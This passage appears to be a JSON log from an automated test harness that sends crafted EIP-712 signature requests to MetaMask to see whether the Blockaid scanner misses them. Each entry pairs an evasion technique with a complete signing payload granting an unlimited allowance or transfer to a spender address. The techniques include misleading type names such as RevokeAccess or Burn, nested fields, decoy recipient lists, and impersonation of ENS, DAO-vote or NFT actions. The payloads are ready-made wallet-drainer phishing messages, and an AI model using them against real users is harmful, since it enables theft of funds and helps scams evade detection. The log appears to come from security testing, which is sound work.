Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x40d2fdaafb690aacd85a8d7e3a87ed3007f910592422b489d36f43d1ad0cbedc\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN64-EIP3009-054", "timestamp": "2026-01-31T19:31:26.227Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x037ffc8f7819dff679e55bfdfb8b31c44f68642379d5f15b7f58fbca0a72d0c5\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:31:35.791Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:31:45.351Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:31:54.920Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:32:04.491Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:32:14.061Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:32:23.629Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:32:33.189Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:32:42.749Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:32:52.311Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:33:01.883Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:33:11.455Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:33:21.026Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:33:30.590Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:33:40.163Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:33:49.732Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:33:59.304Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:34:08.866Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:34:18.430Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token 